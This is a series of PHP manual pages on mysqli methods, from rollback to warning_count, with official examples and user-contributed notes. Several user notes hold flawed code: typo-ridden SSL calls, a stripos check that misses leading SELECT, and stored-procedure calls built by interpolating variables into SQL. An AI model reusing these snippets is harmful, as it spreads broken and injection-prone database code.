xcalibur at xcalibur dot dk 10-Mar-2010 03:04
Just a note about auto incremental ids and rollback.
When using transactions and inserting into a table containing a column with auto incremental ids, the id will be incremented even though the transaction is rolled back.

This might occupy a lot of ids if a lot of rollbacks are performed.

Example:
<?php
$mysqli = new mysqli("localhost", "gugbageri", "gugbageri", "gugbageri");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* disable autocommit */
$mysqli->autocommit(FALSE);

/* We just create a test table with one auto incremental primary column and a content column*/
$mysqli->query("CREATE TABLE TestTable ( `id_column` INT NOT NULL  AUTO_INCREMENT , `content` INT NOT NULL , PRIMARY KEY ( `id_column` )) ENGINE = InnoDB;");

/* commit newly created table */
$mysqli->commit();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

/* we insert another three rows */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we the rollback */
$mysqli->rollback();

/* we insert a row */
$mysqli->query("INSERT INTO TestTable (content) VALUES (99)");

/* we commit the inserted row */
$mysqli->commit();

if ($result = $mysqli->query("SELECT id_column FROM TestTable")) {

   while($row = $result->fetch_row()) {
      printf("Id: %d.\n", $row[0]);
   }
    /* Free result */
    $result->close();
}

/* Drop table TestTable */
$mysqli->query("DROP TABLE TestTable");

$mysqli->close();
?>

This will output:
Id: 1.
Id: 5.
jd at dilltree dot com 22-Jul-2009 04:08
Something to consider when using transact is that you should not perform a normal query on the same table (such as a DELETE) immediately after a transaction.  If the transaction rolls-back, the DELETE will execute and even show affected rows, but the row can be magically re-inserted even if the rollback() command comes before the DELETE query.
Lorenzo - webmaster AT 4tour DOT it 10-Feb-2009 06:31
This is an example to explain the powerful of the rollback and commit functions.
Let's suppose you want to be sure that all queries have to be executed without errors before writing data on the database.
Here's the code:

<?php
$all_query_ok=true; // our control variable

//we make 4 inserts, the last one generates an error
//if at least one query returns an error we change our control variable
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (200)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (300)") ? null : $all_query_ok=false;
$mysqli->query("INSERT INTO myCity (id) VALUES (100)") ? null : $all_query_ok=false; //duplicated PRIMARY KEY VALUE

//now let's test our control variable
$all_query_ok ? $mysqli->commit() : $mysqli->rollback();

$mysqli->close();
?>

hope to be helpful!
mysqli::refresh
mysqli::rpl_query_type
mysqli


Returns RPL query type

mysqli::rollback
mysqli::select_db
mysqli
PHP Manual

mysqli::rpl_query_type

mysqli_rpl_query_type

(PHP 5)

mysqli::rpl_query_type -- mysqli_rpl_query_type — Returns RPL query type

Description

Object oriented style

int mysqli::rpl_query_type ( string $query )

Procedural style

int mysqli_rpl_query_type ( mysqli $link , string $query )

Returns MYSQLI_RPL_MASTER, MYSQLI_RPL_SLAVE or MYSQLI_RPL_ADMIN depending on a query type. INSERT, UPDATE and similar are master queries, SELECT is slave, and FLUSH, REPAIR and similar are admin.

Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

steohan at gobro dot de 22-Sep-2010 11:22
Because the sql types could be combined it would be better to use a function like this:

function getMySQLType($str){
      $str=trim($str);
      return strtoupper(substr($str,0,strpos($str,' ')));
}

$sql="select * from user;";
if (getMySQLType($sql) == 'SELECT'){
//true
}
technique-glamour at condenast dot fr 19-Jul-2007 08:28
WARNING : this function (or maybe the "enable_rpl_parse" function) randomly causes a segfault into PHP.
We don't use this function anymore. Instead we check if the query contains the word 'SELECT' :

function query_type($query)
{
    if ( stripos($query,'SELECT'))
        return true;
    return false;
}
mysqli::rollback
mysqli::select_db
mysqli


Selects the default database for database queries

mysqli::rpl_query_type
mysqli::send_query
mysqli
PHP Manual

mysqli::select_db

mysqli_select_db

(PHP 5)

mysqli::select_db -- mysqli_select_db — Selects the default database for database queries

Description

Object oriented style

bool mysqli::select_db ( string $dbname )

Procedural style

bool mysqli_select_db ( mysqli $link , string $dbname )

Selects the default database to be used when performing queries against the database connection.

Note:

This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in mysqli_connect().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

dbname

The database name.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::select_db() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

/* change db to world db */
$mysqli->select_db("world");

/* return name of current default database */
if ($result = $mysqli->query("SELECT DATABASE()")) {
    $row = $result->fetch_row();
    printf("Default database is %s.\n", $row[0]);
    $result->close();
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

/* change db to world db */
mysqli_select_db($link, "world");

/* return name of current default database */
if ($result = mysqli_query($link, "SELECT DATABASE()")) {
    $row = mysqli_fetch_row($result);
    printf("Default database is %s.\n", $row[0]);
    mysqli_free_result($result);
}

mysqli_close($link);
?>

The above examples will output:

Default database is test.
Default database is world.

See Also

  • mysqli_connect() - Alias of mysqli::__construct
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

pjasiulewicz at gmail dot com 27-Mar-2011 02:30
In some situations its useful to use this function for changing databases in general. We've tested it in production environment and it seams to be faster with switching databases than creating new connections.
mysqli::rpl_query_type
mysqli::send_query
mysqli


Send the query and return

mysqli::select_db
mysqli::set_charset
mysqli
PHP Manual

mysqli::send_query

mysqli_send_query

(PHP 5)

mysqli::send_query -- mysqli_send_query — Send the query and return

Description

Object oriented style

bool mysqli::send_query ( string $query )

Procedural style

bool mysqli_send_query ( mysqli $link , string $query )
Warning

This function is currently not documented; only its argument list is available.

Warning

This function has been DEPRECATED and REMOVED as of PHP 5.3.0.

User Contributed Notes

There are no user contributed notes for this page.
mysqli::select_db
mysqli::set_charset
mysqli


Sets the default client character set

mysqli::send_query
mysqli::set_local_infile_default
mysqli
PHP Manual

mysqli::set_charset

mysqli_set_charset

(PHP 5 >= 5.0.5)

mysqli::set_charset -- mysqli_set_charset — Sets the default client character set

Description

Object oriented style

bool mysqli::set_charset ( string $charset )

Procedural style

bool mysqli_set_charset ( mysqli $link , string $charset )

Sets the default character set to be used when sending data from and to the database server.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

charset

The charset to be set as default.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

To use this function on a Windows platform you need MySQL client library version 4.1.11 or above (for MySQL 5.0 you need 5.0.6 or above).

Note:

This is the preferred way to change the charset. Using mysqli::query() to execute SET NAMES .. is not recommended.

Examples

Example #1 mysqli::set_charset() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!$mysqli->set_charset("utf8")) {
    printf("Error loading character set utf8: %s\n", $mysqli->error);
} else {
    printf("Current character set: %s\n", $mysqli->character_set_name());
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'test');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* change character set to utf8 */
if (!mysqli_set_charset($link, "utf8")) {
    printf("Error loading character set utf8: %s\n", mysqli_error($link));
} else {
    printf("Current character set: %s\n", mysqli_character_set_name($link));
}

mysqli_close($link);
?>

The above examples will output:

Current character set: utf8

See Also

  • mysqli_character_set_name() - Returns the default character set for the database connection
  • mysqli_real_escape_string() - Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection
  • » List of character sets that MySQL supports

User Contributed Notes

coder at punkass dot com 12-Apr-2006 11:13
On windows, with "stock" PHP 5.1.2, there is no set_charset function at all. One may have to replace php_mysqli.dll, and libmysql.dll with proper versions, which provided by MySQL at http://dev.mysql.com/downloads/connector/php/
mysqli::send_query
mysqli::set_local_infile_default
mysqli


Unsets user defined handler for load local infile command

mysqli::set_charset
mysqli::set_local_infile_handler
mysqli
PHP Manual

mysqli::set_local_infile_default

mysqli_set_local_infile_default

(PHP 5)

mysqli::set_local_infile_default -- mysqli_set_local_infile_default — Unsets user defined handler for load local infile command

Description

void mysqli_set_local_infile_default ( mysqli $link )

Deactivates a LOAD DATA INFILE LOCAL handler previously set with mysqli_set_local_infile_handler().

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

No value is returned.

Examples

See mysqli_set_local_infile_handler() examples

See Also

  • mysqli_set_local_infile_handler() - Set callback function for LOAD DATA LOCAL INFILE command

User Contributed Notes

There are no user contributed notes for this page.
mysqli::set_charset
mysqli::set_local_infile_handler
mysqli


Set callback function for LOAD DATA LOCAL INFILE command

mysqli::set_local_infile_default
mysqli::$sqlstate
mysqli
PHP Manual

mysqli::set_local_infile_handler

mysqli_set_local_infile_handler

(PHP 5)

mysqli::set_local_infile_handler -- mysqli_set_local_infile_handler — Set callback function for LOAD DATA LOCAL INFILE command

Description

Object oriented style

bool mysqli::set_local_infile_handler ( mysqli $link , callback $read_func )

Procedural style

bool mysqli_set_local_infile_handler ( mysqli $link , callback $read_func )

Set callback function for LOAD DATA LOCAL INFILE command

The callbacks task is to read input from the file specified in the LOAD DATA LOCAL INFILE and to reformat it into the format understood by LOAD DATA INFILE.

The returned data needs to match the format specified in the LOAD DATA

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

read_func

A callback function or object method taking the following parameters:

stream

A PHP stream associated with the SQL commands INFILE

&buffer

A string buffer to store the rewritten input into

buflen

The maximum number of characters to be stored in the buffer

&errormsg

If an error occurs you can store an error message in here

The callback function should return the number of characters stored in the buffer or a negative value if an error occurred.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mysqli::set_local_infile_handler() example

Object oriented style

<?php
  $db = mysqli_init();
  $db->real_connect("localhost","root","","test");

  function callme($stream, &$buffer, $buflen, &$errmsg)
  {
    $buffer = fgets($stream);

    echo $buffer;

    // convert to upper case and replace "," delimiter with [TAB]
    $buffer = strtoupper(str_replace(",", "\t", $buffer));

    return strlen($buffer);
  }

  echo "Input:\n";

  $db->set_local_infile_handler("callme");
  $db->query("LOAD DATA LOCAL INFILE 'input.txt' INTO TABLE t1");
  $db->set_local_infile_default();

  $res = $db->query("SELECT * FROM t1");

  echo "\nResult:\n";
  while ($row = $res->fetch_assoc()) {
    echo join(",", $row)."\n";
  }
?>

Procedural style

<?php
  $db = mysqli_init();
  mysqli_real_connect($db, "localhost","root","","test");

  function callme($stream, &$buffer, $buflen, &$errmsg)
  {
    $buffer = fgets($stream);

    echo $buffer;

    // convert to upper case and replace "," delimiter with [TAB]
    $buffer = strtoupper(str_replace(",", "\t", $buffer));

    return strlen($buffer);
  }

  echo "Input:\n";

  mysqli_set_local_infile_handler($db, "callme");
  mysqli_query($db, "LOAD DATA LOCAL INFILE 'input.txt' INTO TABLE t1");
  mysqli_set_local_infile_default($db);

  $res = mysqli_query($db, "SELECT * FROM t1");

  echo "\nResult:\n";
  while ($row = mysqli_fetch_assoc($res)) {
    echo join(",", $row)."\n";
  }
?>

The above examples will output:

Input:
23,foo
42,bar

Output:
23,FOO
42,BAR

See Also

  • mysqli_set_local_infile_default() - Unsets user defined handler for load local infile command

User Contributed Notes

There are no user contributed notes for this page.
mysqli::set_local_infile_default
mysqli::$sqlstate
mysqli


Returns the SQLSTATE error from previous MySQL operation

mysqli::set_local_infile_handler
mysqli::ssl_set
mysqli
PHP Manual

mysqli::$sqlstate

mysqli_sqlstate

(PHP 5)

mysqli::$sqlstate -- mysqli_sqlstate — Returns the SQLSTATE error from previous MySQL operation

Description

Object oriented style

string $mysqli->sqlstate;

Procedural style

string mysqli_sqlstate ( mysqli $link )

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 $mysqli->sqlstate example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!$mysqli->query("CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", $mysqli->sqlstate);
}

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* Table City already exists, so we should get an error */
if (!mysqli_query($link, "CREATE TABLE City (ID INT, Name VARCHAR(30))")) {
    printf("Error - SQLSTATE %s.\n", mysqli_sqlstate($link));
}

mysqli_close($link);
?>

The above examples will output:

Error - SQLSTATE 42S01.

See Also

  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error

User Contributed Notes

There are no user contributed notes for this page.
mysqli::set_local_infile_handler
mysqli::ssl_set
mysqli


Used for establishing secure connections using SSL

mysqli::$sqlstate
mysqli::stat
mysqli
PHP Manual

mysqli::ssl_set

mysqli_ssl_set

(PHP 5)

mysqli::ssl_set -- mysqli_ssl_set — Used for establishing secure connections using SSL

Description

Object oriented style

bool mysqli::ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )

Procedural style

bool mysqli_ssl_set ( mysqli $link , string $key , string $cert , string $ca , string $capath , string $cipher )

Used for establishing secure connections using SSL. It must be called before mysqli_real_connect(). This function does nothing unless OpenSSL support is enabled.

Note that MySQL Native Driver does not support SSL before PHP 5.3.3, so calling this function when using MySQL Native Driver will result in an error. MySQL Native Driver is enabled by default on Microsoft Windows from PHP version 5.3 onwards.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

key

The path name to the key file.

cert

The path name to the certificate file.

ca

The path name to the certificate authority file.

capath

The pathname to a directory that contains trusted SSL CA certificates in PEM format.

cipher

A list of allowable ciphers to use for SSL encryption.

Any unused SSL parameters may be given as NULL

Return Values

This function always returns TRUE value. If SSL setup is incorrect mysqli_real_connect() will return an error when you attempt to connect.

See Also

  • mysqli_options() - Set options
  • mysqli_real_connect() - Opens a connection to a mysql server

User Contributed Notes

flux 07-Mar-2007 09:55
Here es little example to create a SSL Connection

<?php

$db = mysqlii_init();

/*
When you want so use a separate cnf
$test = $db->options(MYSQLI_EAD_DEFAULT_FILE,'myother.cnf');
*/

$db->ssl_set('server-key.pem','server-cert.pem',
'cacert.pem',NULL,NULL);

$db->real_connct('localhost','root','','mydb');

//Here some query

$db->close();

?>
mysqli::$sqlstate
mysqli::stat
mysqli


Gets the current system status

mysqli::ssl_set
mysqli::stmt_init
mysqli
PHP Manual

mysqli::stat

mysqli_stat

(PHP 5)

mysqli::stat -- mysqli_stat — Gets the current system status

Description

Object oriented style

string mysqli::stat ( void )

Procedural style

string mysqli_stat ( mysqli $link )

mysqli_stat() returns a string containing information similar to that provided by the 'mysqladmin status' command. This includes uptime in seconds and the number of running threads, questions, reloads, and open tables.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

A string describing the server status. FALSE if an error occurred.

Examples

Example #1 mysqli::stat() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf ("System status: %s\n", $mysqli->stat());

$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

printf("System status: %s\n", mysqli_stat($link));

mysqli_close($link);
?>

The above examples will output:

System status: Uptime: 272  Threads: 1  Questions: 5340  Slow queries: 0
Opens: 13  Flush tables: 1  Open tables: 0  Queries per second avg: 19.632
Memory in use: 8496K  Max memory used: 8560K

See Also

  • mysqli_get_server_info() - Returns the version of the MySQL server

User Contributed Notes

nycdiesl at gmail dot com 01-May-2009 06:10
PHP 5.2.9
A small example

<?php
$dbh = new mysqli('host', 'user', 'password', 'database');
if ($dbh->connect_error) {
   die("Connection Error ({$dbh->connect_errno}) {$dbh->connect_error}");
}

if (($stats = $dbh->stat()) !== FALSE) {
   echo "Dumping output method stat() ...\n";
   echo "$stats\n";

   $statsArray = explode("  ", $stats);
   print_r($stats);
}
?>

Dumping stats:
Uptime: 1095822  Threads: 5  Questions: 5326101  Slow queries: 0  Opens: 7352  Flush tables: 1  Open tables: 60  Queries per second avg: 4.860
Array
(
    [0] => Uptime: 1095822
    [1] => Threads: 5
    [2] => Questions: 5326101
    [3] => Slow queries: 0
    [4] => Opens: 7352
    [5] => Flush tables: 1
    [6] => Open tables: 60
    [7] => Queries per second avg: 4.860
)

The above code will print out a string and then attempt to create an array by exploding the string using a delimiter of two spaces (eg: "  "). This should give you an array to work with, however, I'm just beginning to use this extension, so feel free to correct any errors discovered :)
mysqli::ssl_set
mysqli::stmt_init
mysqli


Initializes a statement and returns an object for use with mysqli_stmt_prepare

mysqli::stat
mysqli::store_result
mysqli
PHP Manual

mysqli::stmt_init

mysqli_stmt_init

(PHP 5)

mysqli::stmt_init -- mysqli_stmt_init — Initializes a statement and returns an object for use with mysqli_stmt_prepare

Description

Object oriented style

mysqli_stmt mysqli::stmt_init ( void )

Procedural style

mysqli_stmt mysqli_stmt_init ( mysqli $link )

Allocates and initializes a statement object suitable for mysqli_stmt_prepare().

Note:

Any subsequent calls to any mysqli_stmt function will fail until mysqli_stmt_prepare() was called.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns an object.

See Also

  • mysqli_stmt_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
mysqli::stat
mysqli::store_result
mysqli


Transfers a result set from the last query

mysqli::stmt_init
mysqli::$thread_id
mysqli
PHP Manual

mysqli::store_result

mysqli_store_result

(PHP 5)

mysqli::store_result -- mysqli_store_result — Transfers a result set from the last query

Description

Object oriented style

mysqli_result mysqli::store_result ( void )

Procedural style

mysqli_result mysqli_store_result ( mysqli $link )

Transfers the result set from the last query on the database connection represented by the link parameter to be used with the mysqli_data_seek() function.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns a buffered result object or FALSE if an error occurred.

Note:

mysqli_store_result() returns FALSE in case the query didn't return a result set (if the query was, for example an INSERT statement). This function also returns FALSE if the reading of the result set failed. You can check if you have got an error by checking if mysqli_error() doesn't return an empty string, if mysqli_errno() returns a non zero value, or if mysqli_field_count() returns a non zero value. Also possible reason for this function returning FALSE after successful call to mysqli_query() can be too large result set (memory for it cannot be allocated). If mysqli_field_count() returns a non-zero value, the statement should have produced a non-empty result set.

Notes

Note:

Although it is always good practice to free the memory used by the result of a query using the mysqli_free_result() function, when transferring large result sets using the mysqli_store_result() this becomes particularly important.

Examples

See mysqli_multi_query().

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

mitchind 04-Feb-2010 08:28
After reading through original notes and example above as well as wading through the documentation, I finally got a loop to work with two stored procedures.

Using the results of the first one as a parameter for the second one. Easier to do this way than a huge modified sequence of Inner Join queries.

Hope this helps others...

<?php
// Connect to server and database
$mysqli        = new mysqli("$dbServer", "$dbUser", "$dbPass", "$dbName");

// Open First Stored Procedure using MYSQLI_STORE_RESULT to retain for looping
$resultPicks = $mysqli->query("CALL $proc ($searchDate, $maxRSI, $incRSI, $minMACD, $minVol, $minTrades, $minClose, $maxClose)", MYSQLI_STORE_RESULT);

// process one row at a time from first SP
while($picksRow = $resultPicks->fetch_array(MYSQLI_ASSOC)) {
    // Get Parameter for next SP
    $symbol     = $picksRow['Symbol'];

    // Free stored results
    clearStoredResults($mysqli);

    // Execute second SP using value from first as a parameter (MYSQLI_USE_RESULT and free result right away)
    $resultData    = $mysqli->query("CALL prcGetLastMACDDatesBelowZero('$symbol', $searchDate)", MYSQLI_USE_RESULT);
    $dataRow    = $resultData->fetch_array(MYSQLI_ASSOC);

    // Dump result from both related queries
    echo "<p>$symbol ... Num Dates: " . $dataRow['NumDates'];

    // Free results from second SP
    $resultData->free();

}

// Free results from first SP
$resultPicks->free();

// close connections
$mysqli->close();

#------------------------------------------
function clearStoredResults($mysqli_link){
#------------------------------------------
    while($mysqli_link->next_result()){
      if($l_result = $mysqli_link->store_result()){
              $l_result->free();
      }
    }
}
?>
Warner 21-Jul-2009 02:45
It also seems, that executing a SET statement in multi_query() returns an extra recordset too, which one would not expect.
lau at goldenweb dot com dot au 13-Apr-2007 01:29
Beware when using stored procedures:
If you connect to the database and then call dbproc A followed by a call to db proc B and then close the connection to the db, the second procedure call will not work.

It looks like there is a bug in MYSQL or mysqli that returns an extra recordset than you would expect. It then doesn't let you call another stored procedure until you finish processing all the recordsets from the first stored procedure call.

The solution is to simply loop through the additional recordsets between calls to db procs. Here is a function that I call between db proc calls:

<?php
#--------------------------------
function ClearRecordsets($p_Result){
#--------------------------------
    $p_Result->free();
    while($this->Mysqli->next_result()){
      if($l_result = $this->Mysqli->store_result()){
              $l_result->free();
      }
    }
}

?>
mysqli::stmt_init
mysqli::$thread_id
mysqli


Returns the thread ID for the current connection

mysqli::store_result
mysqli::thread_safe
mysqli
PHP Manual

mysqli::$thread_id

mysqli_thread_id

(PHP 5)

mysqli::$thread_id -- mysqli_thread_id — Returns the thread ID for the current connection

Description

Object oriented style

int $mysqli->thread_id;

Procedural style

int mysqli_thread_id ( mysqli $link )

The mysqli_thread_id() function returns the thread ID for the current connection which can then be killed using the mysqli_kill() function. If the connection is lost and you reconnect with mysqli_ping(), the thread ID will be other. Therefore you should get the thread ID only when you need it.

Note:

The thread ID is assigned on a connection-by-connection basis. Hence, if the connection is broken and then re-established a new thread ID will be assigned.

To kill a running query you can use the SQL command KILL QUERY processid.

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Returns the Thread ID for the current connection.

Examples

Example #1 $mysqli->thread_id example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = $mysqli->thread_id;

/* Kill connection */
$mysqli->kill($thread_id);

/* This should produce an error */
if (!$mysqli->query("CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", $mysqli->error);
    exit;
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* determine our thread id */
$thread_id = mysqli_thread_id($link);

/* Kill connection */
mysqli_kill($link, $thread_id);

/* This should produce an error */
if (!mysqli_query($link, "CREATE TABLE myCity LIKE City")) {
    printf("Error: %s\n", mysqli_error($link));
    exit;
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Error: MySQL server has gone away

See Also

  • mysqli_kill() - Asks the server to kill a MySQL thread

User Contributed Notes

There are no user contributed notes for this page.
mysqli::store_result
mysqli::thread_safe
mysqli


Returns whether thread safety is given or not

mysqli::$thread_id
mysqli::use_result
mysqli
PHP Manual

mysqli::thread_safe

mysqli_thread_safe

(PHP 5)

mysqli::thread_safe -- mysqli_thread_safe — Returns whether thread safety is given or not

Description

Procedural style

bool mysqli_thread_safe ( void )

Tells whether the client library is compiled as thread-safe.

Return Values

TRUE if the client library is thread-safe, otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.
mysqli::$thread_id
mysqli::use_result
mysqli


Initiate a result set retrieval

mysqli::thread_safe
mysqli::$warning_count
mysqli
PHP Manual

mysqli::use_result

mysqli_use_result

(PHP 5)

mysqli::use_result -- mysqli_use_result — Initiate a result set retrieval

Description

Object oriented style

mysqli_result mysqli::use_result ( void )

Procedural style

mysqli_result mysqli_use_result ( mysqli $link )

Used to initiate the retrieval of a result set from the last query executed using the mysqli_real_query() function on the database connection.

Either this or the mysqli_store_result() function must be called before the results of a query can be retrieved, and one or the other must be called to prevent the next query on that database connection from failing.

Note:

The mysqli_use_result() function does not transfer the entire result set from the database and hence cannot be used functions such as mysqli_data_seek() to move to a particular row within the set. To use this functionality, the result set must be stored using mysqli_store_result(). One should not use mysqli_use_result() if a lot of processing on the client side is performed, since this will tie up the server and prevent other threads from updating any tables from which the data is being fetched.

Return Values

Returns an unbuffered result object or FALSE if an error occurred.

Examples

Example #1 mysqli::use_result() example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if ($mysqli->multi_query($query)) {
    do {
        /* store first result set */
        if ($result = $mysqli->use_result()) {
            while ($row = $result->fetch_row()) {
                printf("%s\n", $row[0]);
            }
            $result->close();
        }
        /* print divider */
        if ($mysqli->more_results()) {
            printf("-----------------\n");
        }
    } while ($mysqli->next_result());
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$query  = "SELECT CURRENT_USER();";
$query .= "SELECT Name FROM City ORDER BY ID LIMIT 20, 5";

/* execute multi query */
if (mysqli_multi_query($link, $query)) {
    do {
        /* store first result set */
        if ($result = mysqli_use_result($link)) {
            while ($row = mysqli_fetch_row($result)) {
                printf("%s\n", $row[0]);
            }
            mysqli_free_result($result);
        }
        /* print divider */
        if (mysqli_more_results($link)) {
            printf("-----------------\n");
        }
    } while (mysqli_next_result($link));
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

my_user@localhost
-----------------
Amersfoort
Maastricht
Dordrecht
Leiden
Haarlemmermeer

See Also

  • mysqli_real_query() - Execute an SQL query
  • mysqli_store_result() - Transfers a result set from the last query

User Contributed Notes

There are no user contributed notes for this page.
mysqli::thread_safe
mysqli::$warning_count
mysqli


Returns the number of warnings from the last query for the given link

mysqli::use_result
mysqli_stmt
mysqli
PHP Manual

mysqli::$warning_count

mysqli_warning_count

(PHP 5)

mysqli::$warning_count -- mysqli_warning_count — Returns the number of warnings from the last query for the given link

Description

Object oriented style

int $mysqli->warning_count;

Procedural style

int mysqli_warning_count ( mysqli $link )

Returns the number of warnings from the last query in the connection.

Note:

For retrieving warning messages you can use the SQL command SHOW WARNINGS [limit row_count].

Parameters

link

Procedural style only: A link identifier returned by mysqli_connect() or mysqli_init()

Return Values

Number of warnings or zero if there are no warnings.

Examples

Example #1 $mysqli->warning_count example

Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$mysqli->query("CREATE TABLE myCity LIKE City");

/* a remarkable city in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$mysqli->query($query);

if ($mysqli->warning_count) {
    if ($result = $mysqli->query("SHOW WARNINGS")) {
        $row = $result->fetch_row();
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        $result->close();
    }
}

/* close connection */
$mysqli->close();
?>

Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

mysqli_query($link, "CREATE TABLE myCity LIKE City");

/* a remarkable long city name in Wales */
$query = "INSERT INTO myCity (CountryCode, Name) VALUES('GBR',
        'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

mysqli_query($link, $query);

if (mysqli_warning_count($link)) {
    if ($result = mysqli_query($link, "SHOW WARNINGS")) {
        $row = mysqli_fetch_row($result);
        printf("%s (%d): %s\n", $row[0], $row[1], $row[2]);
        mysqli_free_result($result);
    }
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

Warning (1264): Data truncated for column 'Name' at row 1

See Also

  • mysqli_errno() - Returns the error code for the most recent function call
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - Returns the SQLSTATE error from previous MySQL operation

User Contributed Notes

There are no user contributed notes for this page.
mysqli::use_result
mysqli_stmt
